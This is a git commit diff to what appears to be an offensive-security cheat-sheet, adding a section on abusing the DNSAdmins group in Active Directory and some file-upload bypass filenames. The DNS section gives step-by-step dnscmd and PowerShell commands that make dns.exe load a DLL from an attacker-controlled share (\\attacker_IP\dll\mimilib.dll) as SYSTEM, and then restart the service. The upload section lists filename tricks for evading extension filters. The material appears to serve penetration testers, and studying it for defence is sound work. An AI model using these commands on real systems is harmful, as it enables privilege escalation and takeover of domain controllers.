DNS Admins Group

This commit is contained in:
Swissky 2022-06-07 20:36:09 +02:00
parent 3066615cde
commit 0c7da8ec41
2 changed files with 38 additions and 2 deletions
Methodology and Resources
Upload Insecure Files

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@ -84,6 +84,7 @@
- [Certifried CVE-2022-26923](#certifried-cve-2022-26923) - [Certifried CVE-2022-26923](#certifried-cve-2022-26923)
- [Pass-The-Certificate](#pass-the-certificate) - [Pass-The-Certificate](#pass-the-certificate)
- [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage) - [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
- [Abusing DNS Admins Group](#abusing-dns-admins-group)
- [Abusing Active Directory ACLs/ACEs](#abusing-active-directory-aclsaces) - [Abusing Active Directory ACLs/ACEs](#abusing-active-directory-aclsaces)
- [GenericAll](#genericall) - [GenericAll](#genericall)
- [GenericWrite](#genericwrite) - [GenericWrite](#genericwrite)
@ -2583,6 +2584,39 @@ Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccount
``` ```
### Abusing DNS Admins Group
> It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).
:warning: Require privileges to restart the DNS service.
* Enumerate members of DNSAdmins group
```ps1
Get-NetGroupMember -GroupName "DNSAdmins"
Get-ADGroupMember -Identity DNSAdmins
```
* Change dll loaded by the DNS service
```ps1
# with RSAT
dnscmd <servername> /config /serverlevelplugindll \\attacker_IP\dll\mimilib.dll
dnscmd 10.10.10.11 /config /serverlevelplugindll \\10.10.10.10\exploit\privesc.dll
# with DNSServer module
$dnsettings = Get-DnsServerSetting -ComputerName <servername> -Verbose -All
$dnsettings.ServerLevelPluginDll = "\attacker_IP\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName <servername> -Verbose
```
* Check the previous command success
```ps1
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
```
* Restart DNS
```ps1
sc \\dc01 stop dns
sc \\dc01 start dns
```
### Abusing Active Directory ACLs/ACEs ### Abusing Active Directory ACLs/ACEs
Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner). Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner).

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* Multiple dots : `file.php......` , in Windows when a file is created with dots at the end those will be removed. * Multiple dots : `file.php......` , in Windows when a file is created with dots at the end those will be removed.
* Whitespace characters: `file.php%20`, `file.php%0d%0a.jpg` * Whitespace characters: `file.php%20`, `file.php%0d%0a.jpg`
* Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`. * Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`.
* Slash: `file.php/`, `file.php.\` * Slash: `file.php/`, `file.php.\`, `file.j\sp`, `file.j/sp`
* Multiple special characters: `file.jsp/././././.`
- Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif` - Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif`
* `Content-Type : image/gif` * `Content-Type : image/gif`
* `Content-Type : image/png` * `Content-Type : image/png`
@ -162,3 +163,4 @@ When a ZIP/archive file is automatically decompressed after the upload
* [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf) * [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf)
* [File Upload - Mahmoud M. Awali / @0xAwali](https://docs.google.com/presentation/d/1-YwXl9rhzSvvqVvE_bMZo2ab-0O5wRNTnzoihB9x6jI/edit#slide=id.ga2ef157b83_1_0) * [File Upload - Mahmoud M. Awali / @0xAwali](https://docs.google.com/presentation/d/1-YwXl9rhzSvvqVvE_bMZo2ab-0O5wRNTnzoihB9x6jI/edit#slide=id.ga2ef157b83_1_0)
* [IIS - SOAP](https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap) * [IIS - SOAP](https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap)
* [Arbitrary File Upload Tricks In Java - pyn3rd](https://pyn3rd.github.io/2022/05/07/Arbitrary-File-Upload-Tricks-In-Java/)